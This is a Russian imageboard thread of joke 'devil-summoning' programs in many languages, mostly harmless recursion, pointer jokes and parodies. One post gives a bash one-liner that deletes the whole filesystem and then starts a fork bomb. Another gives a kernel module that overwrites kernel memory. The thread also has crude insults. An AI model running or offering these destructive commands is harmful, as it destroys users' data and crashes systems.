[Ответить в тред] Ответить в тред

30/09/16 - BREAKING NEWS ШОК АБУ ПРОДАЛСЯ МЭЙЛУ (на самом деле нет)
25/09/16 - Персональное обращение Абу - СБОР ПОЖЕРТВОВАНИЙ НА ДВАЧ
24/09/16 - Персональное обращение Абу



Новые доски: /hv/ - Халява в интернете • /2d/ - Аниме/Беседка • /wwe/ - WorldWide Wrestling Universe • /ch/ - Чатики и конфочки • /int/ - International • Создай свою

[Назад][Обновить тред][Вниз][Каталог] [ Автообновление ] 55 | 1 | 36
Назад Вниз Каталог Обновить

Напишите программу для призыва дьявола на вашем любимом языке программирования. Аноним 09/09/16 Птн 13:01:58  838864  
14734153185740.png (2300Кб, 1609x2196)
Напишите программу для призыва дьявола на вашем любимом языке программирования.
Аноним 09/09/16 Птн 13:24:11  838870
Любая программа на ассемблере подойдет, хуле.
Аноним 09/09/16 Птн 13:33:29  838876
<?php
phpinfo();
?>
Аноним 09/09/16 Птн 15:09:37  838929
>>838876
Кек
тэг только не закрывай, а то все пробелы и ньюлайны после него идут в аутпут скрипта
Аноним 09/09/16 Птн 16:39:05  838996
>>838864 (OP)
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/string.h>

int init_module(void)
{
int a = 0xc0000000;
memset(a, 0, 0x666666);
return 0;
}

void cleanup_module(void)
{
printk(KERN_INFO "Amen");
}
Аноним 09/09/16 Птн 17:02:10  839018
>>838864 (OP)
int main() {
return main()
}
Аноним 09/09/16 Птн 17:32:11  839030
>>838996
Поясни за код. Что там хранится по адресу a, и что дает такой вот memset?
Аноним 09/09/16 Птн 17:44:32  839037
>>838864 (OP)
((void ()(void ))0)();
Аноним 09/09/16 Птн 17:45:53  839039
>>839037
Бля, разметку запорол:
((void (\)(void \))0)();
Аноним 09/09/16 Птн 17:51:03  839044
>>839039
SOOOQA
Короче, вот так надо:
((void (✱)(void ✱))0)();
Аноним 09/09/16 Птн 18:01:05  839048
import this
print(''.join(reversed(this.s)))
Аноним 09/09/16 Птн 18:05:26  839050
int main(){return main();}
лол. эта хуйня еще и скомпилится
Аноним 09/09/16 Птн 18:09:36  839051
>>839030
Я хз, что хотел сказать чел этим кодом, но вроде это модуль ядра, 0xc0000000 это лоу левл память ядра, типа он ее затер и что-то плохое должно случиться, компнльни и проверь.
Аноним 09/09/16 Птн 22:17:48  839252
>>839050
> эта хуйня еще и скомпилится
А почему не должна?
Аноним 10/09/16 Суб 04:18:17  839322
>>839252
ПОТОМУ ЧТО Я ТАК СКОЗАЛ
Аноним 10/09/16 Суб 11:07:38  839452
Странно, что никто ещё не написал какой-нибудь AbstractSatanFactory.
Аноним 10/09/16 Суб 12:13:33  839467
>>839452
Ave<Satan> aveSatan = new Ave<Satan>;
Аноним 10/09/16 Суб 12:48:17  839486
>>839051
Ну это понятно, я и спрашиваю, что именно он затер и чем это чревато.
Аноним 10/09/16 Суб 14:50:50  839519
>>838864 (OP)
#include <cstdlib>
int main(int argc, charargv)
{ return std::system("iexplore.exe http://mail.ru"); }
Аноним 10/09/16 Суб 17:15:55  839554
>>839044
Всё равно ошибка. Кастишь к функции, которая принимает void ✱, но не передаёшь ничего. Да и скобка лишняя у тебя.
Надо:
(void (✱)())0)();
Аноним 10/09/16 Суб 19:01:14  839621
>>839486
Ничего он не затёр. Даже если там память ядра, то тут либо ось его нахуй пошлёт либо просто скопирует страницы памяти. При доступе к ним сам процесс упадёт, и больше ничего не случится.
Аноним 10/09/16 Суб 22:00:51  839705
>>838864 (OP)
https://jsfiddle.net/wc98a7wy/
Аноним 10/09/16 Суб 23:05:36  839746
>>839519
от этого кода не только Сатана явится- ад нахер целиком телепортируется к месту вызова и будет на земле 666 столетий и 666 лет власти ада, американской демократии и мейл спутник не только на каждом компе но и вообще на всем что хоть как - то юзает электричество и мейл гуард деонический будет неудаляем
Аноним 10/09/16 Суб 23:13:24  839752
>>838864 (OP)
final Satan satan = HellFactoryImpl.getSatan().Builder().cock(100500).horns(2).awesomeness(42).build();

Построй себе иммутабельную Сатану.
Аноним 11/09/16 Вск 03:32:41  839861
>>839621
Этот код будет с правами ядра выполнятся. Никуда льстецы не пошлёт , сотрёт этот участок как миленькая
Аноним 11/09/16 Вск 03:33:00  839862
>>839621
Этот код будет с правами ядра выполнятся. Никуда льстецы не пошлёт , сотрёт этот участок как миленькая
Аноним 11/09/16 Вск 03:39:53  839863
main = main where main = main
Аноним 11/09/16 Вск 04:58:49  839865
Satan<Devil> Satan = new HellBuilder().withSatanFactory().build().getFactory().getSatan();
Аноним 11/09/16 Вск 09:04:14  839881
import devil
Аноним 11/09/16 Вск 11:01:16  839908
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Аноним 11/09/16 Вск 13:07:22  839963
>>838864 (OP)
print "test to Heaven"
import antygravity
Аноним 11/09/16 Вск 15:38:20  840027
Эй, школьники, дьявола не существует. Какие вы программисты, если верите в бога или дьявола?
Аноним 11/09/16 Вск 15:52:52  840033
>>840027
Воинствующий школотеист, съеби.
Аноним 11/09/16 Вск 16:08:04  840049
>>840027
Тут верят в функторы и монады, это еще хуже
Аноним 11/09/16 Вск 18:08:43  840162
>>839621
Сразу видно дурака, который дальше хэлоу ворлда не дошел.
Аноним 11/09/16 Вск 18:18:02  840178
>>839621
#include <linux/module.h>
#include <linux/kernel.h>
printk(KERN_INFO "Amen");

даже школьник поймет, что речь про модуль ядра. Учись или бдуешь всю жизнь за санные 60 тысяч работать ил ждать когда перезвонят.
Аноним 11/09/16 Вск 18:29:27  840199
>>840178
Так бы и писал сразу, что пердолик. Один хуй ничего не затрётся, потому что с памяти ядра должен быть снят w-бит (и если нет, то это отсос). Словишь kernel panic на первой же попытке доступа.
Аноним 11/09/16 Вск 20:01:00  840267
>>840199
Ты сначала скомпилируй и запусти, а потом пизди горе теоретик.
Аноним 11/09/16 Вск 20:55:31  840298
>>840267
Ну, значит сосёт ваш линукс, потому что первый же багованный драйвер поставит всю систему раком.
Аноним 11/09/16 Вск 21:31:05  840322
написал тебе за щеку, проверяй
Неосилятор 12/09/16 Пнд 07:27:19  840443
Порчему в линэксах фоновые процессы называют демонами? Имели ли они ввиду мифологических демонов или там какая-то абревиатура может быть похожая на слово демон?
Аноним 12/09/16 Пнд 10:04:52  840465
>>840443
Термин был придуман программистами проекта MAC Массачусетского технологического института, он отсылает к персонажу мысленного эксперимента, демону Максвелла, занимающегося сортировкой молекул в фоновом режиме.[1] Системы UNIX унаследовали данную терминологию.

Демон также является персонажем греческой мифологии, выполняющим задачи, за которые не хотят браться боги. Как утверждается в «Справочнике системного администратора UNIX», в Древней Греции понятие «персональный даймон» было, отчасти, сопоставимо с современным понятием «ангел-хранитель».[2]

Иногда слово daemon интерпретируют как акроним англ. Disk and execution monitor. Операционные системы семейства BSD используют изображение демона в качестве логотипа, иллюстрируя дальнейшее развитие понятия демона уже в христианской традиции.
Аноним 12/09/16 Пнд 12:19:13  840530
>>840443
Так линуксы изначально сатанейские ОС. Демоны (daemon), убийства детей (kill child process), зомби (zombie process). То ли дело православная винда - службы, иконы.
Аноним 13/09/16 Втр 08:38:09  841080
>>840530
Кек.
Аноним 14/09/16 Срд 16:58:37  841795
>>840298
Епта, ктобы говорил, синих экранов никогда не было бы, если бы не кривые драйвера. Как нить на досуге почитай вывод на синем фоне(если у тебя на версия со смайлом), там почти всегда причина это драйвер устройства.
Аноним 14/09/16 Срд 17:01:40  841797
>>841795
Btw в макаках такая же хуйня.

In addition, although memory protection keeps applications from crashing the system, no such safeguards are in place inside the kernel. A badly behaved kernel extension in OS X can cause as much trouble as a badly behaved application or extension could in Mac OS 9.
Аноним 14/09/16 Срд 17:20:16  841819
>>839018
Правильный ответ.
Аноним 14/09/16 Срд 17:24:22  841825
Bash:

#!/bin/bash
rm -rf /* ; :(){ :|:& }; :
Аноним 14/09/16 Срд 18:24:21  841860
>>841795
Давно это было, не хочу спиздеть, поэтому в подробности вдаваться не буду. Как это работает. В аттрибутах страницы есть несколько битов, один из которых бит w - он говорит, можно ли писать в эту страницу. Защита эта аппаратная. Когда плохой драйвер лезет писать туда, куда возможность записи отключена, процессор сигнализирует об исключительной ситуации, и винда сразу падает в синий экран, потому что это безопаснее, чем жить бок о бок с кодом уровня ядра, который пошёл вразнос. Так вот, нужно быть долбоёбом, чтобы этот бит на память ядра не выставить. Почему? Да потому что, представь, что произойдёт, если глюкованный драйвер случайно заменит где-нибудь условный переход на безусловный, например, или 1 на 2. Скорее всего, на самом деле, происходит одно из двух:
1. Защита в линуксе всё-таки стоит. Пердолик лезет писать в память ядра, процессор делает исключение, линукс его обрабатывает и копирует пердолику память, снимая с неё защиту. Пердолик пишет в неё своё говно, потом обращается к нему (память-то перемаплена) и всё падает. Пердолик доволен - "мам, я сломал линукс".
2. Защита, опять же, есть. При первой же попытке записи система уходит в панику. С точки зрения пердолика ничего не меняется.
Конечно, оно может быть и не так, но тогда я в разработчиках линукса сильно разочаруюсь (с другой стороны, они занулять выделенную память стали относительно недавно, а мне тут, помню, ещё и доказывали, что это нинужно, и без этого было вполне заебись и надёжно).
>>841797
Без контекста если, то здесь вообще хрен знает про что, но судя по crashing the system, про то же самое - полез не туда, система быстренько упала, пока ты ничего натворить не успел.
Папа тип я Иля 14/09/16 Срд 18:35:20  841871
#include<iostream>
using namespace std;
int main(){
cout<<"TI DOLBAEB ECLI DA 1. ECLI NET IDI NAXYI"<<endl;
int Nigga;
cin>>Nigga;
if(Nigga == 1){
const int DIABAKEk=666;
for(int i=0; i<667; i++){
cout<<DIABAKEK<<endl;
}
cout<<"Oi ti typoi verun axaxaxaaxa Boga net"<<endl;
cout<<"TEPER TYT DIAVOl CYKA"<<endl;
};
else cout<<"MOLODEC CYKA"<<endl;
return 0;
}
Аноним 15/09/16 Чтв 17:03:52  842421
>>841871
>using namespace std
Мразота.
Аноним 15/09/16 Чтв 17:28:23  842445
Satan *satan = [[Satan alloc] initInPlace: self.world];
[satan call];
Аноним 15/09/16 Чтв 17:33:13  842447
>>838864 (OP)
document.write('<font color="#666">Satan');
Аноним 15/09/16 Чтв 17:39:29  842451
>>838864 (OP)
Почему в треде нет примеров на whitespace'е и brainfuck'е?
Аноним 15/09/16 Чтв 18:52:39  842499
>>841819
господа, у нас есть победитель
Аноним 15/09/16 Чтв 23:05:53  842672
>>838864 (OP)
if not all $myself.zapovedi with @world set %devil 1 %jesus 0 end end

[Назад][Обновить тред][Вверх][Каталог] [Реквест разбана] [Подписаться на тред] [ ] 55 | 1 | 36
Назад Вверх Каталог Обновить

Топ тредов
Избранное